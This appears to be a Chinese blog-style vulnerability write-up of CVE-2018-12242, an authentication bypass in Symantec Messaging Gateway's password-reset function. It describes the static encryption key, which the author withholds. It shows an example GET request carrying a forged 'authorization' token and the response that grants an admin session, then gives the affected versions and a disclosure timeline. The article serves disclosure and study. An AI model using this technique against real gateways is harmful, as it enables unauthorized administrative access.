如何进行邮件网关身份验证绕过漏洞CVE-2018-12242分析
本篇文章给大家分享的是有关如何进行邮件网关身份验证绕过漏洞CVE-2018-12242分析,小编觉得挺实用的,因此分享给大家学习,希望大家阅读完这篇文章后可以有所收获,话不多说,跟着小编一起来看看吧。
前言
在一些信息安全评估工作中,有时很难清楚地了解目标网络的外围情况,作为不得已的手段,我们可能会对目标网络相关曝露在网的应用服务进行安全测试,这种情形下往往会有所突破,就像我在这里要分享的赛门铁克(Symantec)邮件网关授权绕过漏洞(CVE-2018-12242)一样。
发现漏洞
赛门铁克邮件网关(Symantec Messaging Gateway)和大多应用登录界面一样,也存在密码重置功能,当登录尝试失败后,会出现"忘记密码"按钮链接,之后,用户名会被提示输入。这里,赛门铁克邮件网关在创建的密码重置链接中,包含了一个加密令牌(token),保证密码重置须是相应用户,以此来验证密码重置的用户合法身份。
肯定的是,这个令牌是加密的,那么我们如何获得密钥呢?好在之前有一个关于赛门铁克邮件网关中类似bug的披露,安全研究者Philip Pettersson发现了赛门铁克邮件网关的一个认证绕过漏洞,这其中涉及了用类似方式进行加密的参数,他还分析到了一个硬编码密钥,他是这样描述的:
非常好,加密使用的竟然是PBEWithMD5AndDES 算法生成的一个静态密码,且简单地储存在其源代码中,但我不会在此透露该加密密码或完整的加密通知字符串。
漏洞测试
回到我们的测试中来。实际上,在赛门铁克邮件网关的安装过程中,这个密码key都是静态的,在此我们也不会公布这个密码信息。在这种加密机制下,如果攻击者发起加密令牌(token)中形如"admin:"的加密,并把它传递给下述GET参数 "authorization", 那么,他就会收到一个有效的管理员会话。以下为相应的GET请求示例:
GET /brightmail/action2.do?method=passwordReset&authorization=<..>%3d HTTP/1.1Host: 192.168.17.15Connection: closeCache-Control: max-age=0Origin: https://192.168.17.15User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/67.0.3396.62 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8Accept-Encoding: gzip, deflateAccept-Language: en-US,en;q=0.9
赛门铁克网关的响应如下:
HTTP/1.1 302 FoundServer: Apache-Coyote/1.1Cache-Control: no-store,no-cachePragma: no-cacheExpires: Thu, 01 Jan 1970 00:00:00 GMTX-Frame-Options: SAMEORIGINSet-Cookie: JSESSIONID=97B8786DB8CC163EB2A4C595D1028E1D; Path=/brightmail; Secure; HttpOnlyLocation: /brightmail/viewWelcome.do?userID=1Content-Type: text/html;charset=UTF-8Content-Length: 0Connection: close
在Brup中的请求和响应如下所示:
当然,其中生成的Cookie消息就是一个有效的管理员会话:
总结
这个漏洞利用的前提是,需要赛门铁克邮件网关开启了密码重置功能。
漏洞危害程度为:高
利用场景:远程
CVSS得分:7.1
影响版本:赛门铁克邮件网关10.6.6之前的所有版本
2018.7.11 上报漏洞
2018.7.11 分类漏洞
2018.9.12 修复漏洞,发布安全公告和补丁
以上就是如何进行邮件网关身份验证绕过漏洞CVE-2018-12242分析,小编相信有部分知识点可能是我们日常工作会见到或用到的。希望你能通过这篇文章学到更多知识。更多详情敬请关注行业资讯频道。